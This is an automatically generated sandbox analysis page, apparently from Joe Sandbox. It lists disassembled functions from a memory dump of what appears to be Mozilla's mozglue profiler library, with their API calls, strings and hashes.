Instruction ID: 0c7daa52e3ba2666e358dd58c22b79867d329998af478505c4f41febfe382672
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6B22D671E006198FCB14CF99C980AADF7F2FF88304F6585AAC949A7745D731A986CF90

Function 6C54AC00 Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

QzO/, xrefs: 6C54AC1B

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: QzO/
API String ID: 0-117776061
Opcode ID: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction ID: 93c2e9b11f20a32c0f25a41f10fb7134b0e68c492a3fac5eec3e71711bf03715
Opcode Fuzzy Hash: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction Fuzzy Hash: 4AF137726087459FD740CE28CC807AEB7E6AFC5319F15CA3DE4D487781E77498898792

Function 6C517710 Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

QzO/, xrefs: 6C51771C

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: QzO/
API String ID: 2429186680-117776061
Opcode ID: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction ID: aa3a02b1b3ff15dfdbd00da9a773a39bad4616183b7b6240c88c6d486085e0bc
Opcode Fuzzy Hash: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction Fuzzy Hash: AC716D75E052198FDF08CFA9C8945EEBBB2FF89354F24816ED815ABB40D731A905CB90

Function 6C500512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2f3cd4e33fb6bbe21c3a0a888f81a15e568cb1439f9ec475f030d69026fd3d0a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 6C220671E04619CFDB14CF98C890AADF7B2FF89308F54859AD44AA7745D731A986CF80

Function 6C4DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 3db0940278c151d6171303a0cb17ca70b8fb635cae8602f95b56aedbb0d49a1c
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 9FA1B371F0021A8FDB08DE69C891BAEB7F2AFC8355F198169E915E7781D7346C068BD0

Function 6C51CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4E582D), ref: 6C51CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4E582D), ref: 6C51CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C54FE98,?,?,?,?,?,6C4E582D), ref: 6C51CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C51CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C51CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C51CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C51CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C51CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C51CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C51CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C51CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C51CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C51CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C51CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C51CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C51CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C51CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C51CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C51CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C51CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C51CE8A

Strings

audiocallbacktracing, xrefs: 6C51CDD4
samplingallthreads, xrefs: 6C51CE2C
jsallocations, xrefs: 6C51CD0E
noiostacks, xrefs: 6C51CCBE
default, xrefs: 6C51CC21
power, xrefs: 6C51CE84
markersallthreads, xrefs: 6C51CE42
nativeallocations, xrefs: 6C51CDA8
preferencereads, xrefs: 6C51CD92
notimerresolutionchange, xrefs: 6C51CE00
fileio, xrefs: 6C51CC92
ipcmessages, xrefs: 6C51CDBE
nostacksampling, xrefs: 6C51CD7C
mainthreadio, xrefs: 6C51CC7C
cpuallthreads, xrefs: 6C51CE16
fileioall, xrefs: 6C51CCA8
stackwalk, xrefs: 6C51CCF8
Unrecognized feature "%s"., xrefs: 6C51CEA0
java, xrefs: 6C51CC37
screenshots, xrefs: 6C51CCD4
seqstyle, xrefs: 6C51CCE6
unregisteredthreads, xrefs: 6C51CE58
leaf, xrefs: 6C51CC66
processcpu, xrefs: 6C51CE6E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction ID: 264b4a6e11670e5a3b84bca554bfc81176ef5f901ed56783c2c41cfea4986744
Opcode Fuzzy Hash: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction Fuzzy Hash: 7651A9F1A5D26552FA0171196D19BAA1405EFD334AF10883BED0BA1F80FB07FA1D86B7

Function 6C4E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E482D
__Init_thread_footer.LIBCMT ref: 6C4E484A

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4E485F
GetCurrentThreadId.KERNEL32 ref: 6C4E487E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E488B
free.MOZGLUE(?), ref: 6C4E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E4956
free.MOZGLUE(00000000), ref: 6C4E4960
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E499A

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

free.MOZGLUE(?), ref: 6C4E49C6
free.MOZGLUE(?), ref: 6C4E49E9

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E4812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4E4A42
[I %d/%d] profiler_shutdown, xrefs: 6C4E4A06

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction ID: bc32ad869a3fc813948ef1718eb681853037548ad8e45aa4265dd276f7652742
Opcode Fuzzy Hash: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction Fuzzy Hash: A681F571A00110CFDB00DFA8CC48F5A3775BF8A36AF960629D916A7F41D731E855CB9A

Function 6C4E4470 Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
Part of subcall function 6C4E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4E44D2
InitOnceExecuteOnce.KERNEL32(6C55F80C,6C4DF240,?,?), ref: 6C4E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E455C
LoadLibraryW.KERNEL32(?), ref: 6C4E4592
InitializeCriticalSection.KERNEL32(6C55F770), ref: 6C4E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4E45BB
InitOnceExecuteOnce.KERNEL32(6C55F818,6C4DF240,?,?), ref: 6C4E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E466D
VerSetConditionMask.NTDLL ref: 6C4E469F
VerSetConditionMask.NTDLL ref: 6C4E46AB
VerSetConditionMask.NTDLL ref: 6C4E46B2
VerSetConditionMask.NTDLL ref: 6C4E46B9
VerSetConditionMask.NTDLL ref: 6C4E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4E46FD

Strings

kernel32.dll, xrefs: 6C4E44CD
GUl, xrefs: 6C4E44FC
user32.dll, xrefs: 6C4E4557, 6C4E463F
WRusr.dll, xrefs: 6C4E44B5
l, xrefs: 6C4E4578
QzO/, xrefs: 6C4E447C
NativeNtBlockSet_Write, xrefs: 6C4E46F7

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GUl$NativeNtBlockSet_Write$QzO/$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2620118283
Opcode ID: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction ID: 34045ad6320e12c9c95d4a43c2abe66f66a09155707e4339070c463d5f5dd165
Opcode Fuzzy Hash: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction Fuzzy Hash: 7F6108B0A00344AFEB00EFA0CC09F957BF8EF4A34AF868659E5049BB41D7B59955CF94

Function 6C51F6E0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C51F8F9

Part of subcall function 6C4E6390: GetCurrentThreadId.KERNEL32 ref: 6C4E63D0
Part of subcall function 6C4E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4E63DF
Part of subcall function 6C4E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4E640E

ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F93A
GetCurrentThreadId.KERNEL32 ref: 6C51F98A
GetCurrentThreadId.KERNEL32 ref: 6C51F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F716

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C4DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C51F739
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F746
GetCurrentThreadId.KERNEL32 ref: 6C51F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55385B,00000002,?,?,?,?,?), ref: 6C51F829
free.MOZGLUE(?,?,00000000,?), ref: 6C51F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C51F866
free.MOZGLUE(?), ref: 6C51FA0C

Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C
Part of subcall function 6C4E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
Part of subcall function 6C4E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F53
Part of subcall function 6C4E5E60: GetCurrentThread.KERNEL32 ref: 6C4E5F5C
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F66
Part of subcall function 6C4E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E

free.MOZGLUE(?), ref: 6C51F9C5
free.MOZGLUE(?), ref: 6C51F9DA

Strings

" attempted to re-register as ", xrefs: 6C51F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C51F71F
Thread , xrefs: 6C51F789
QzO/, xrefs: 6C51F6F2
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C51F9A6

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$QzO/$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1820903016
Opcode ID: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction ID: de55df5fa2ba918e0d5ec4f1753462140a1cad23095b586e53a9f93daff6bc88
Opcode Fuzzy Hash: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction Fuzzy Hash: FD81D6716043049FDB10EF24CC44AAAB7A5EFC5308F95465DE84997B51EB31E849CBD2

Function 6C51EE40 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EE60
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE6D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51EEA5
CloseHandle.KERNEL32(?), ref: 6C51EEB4
free.MOZGLUE(00000000), ref: 6C51EEBB
GetCurrentThreadId.KERNEL32 ref: 6C51EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EECF

Part of subcall function 6C51DE60: GetCurrentThreadId.KERNEL32 ref: 6C51DE73
Part of subcall function 6C51DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B
Part of subcall function 6C51DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
Part of subcall function 6C51DE60: free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
Part of subcall function 6C51DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C51EF1E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF2B
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF59
GetCurrentThreadId.KERNEL32 ref: 6C51EFB0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFBD
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFE1
GetCurrentThreadId.KERNEL32 ref: 6C51EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F000

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F02F

Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C51F008
[I %d/%d] profiler_stop, xrefs: 6C51EED7
QzO/, xrefs: 6C51EF8A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: QzO/$[I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-3632577265
Opcode ID: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction ID: 679b26b66f4111e87666dab46c03c264029b6d1082788409dd445c5b91d6b570
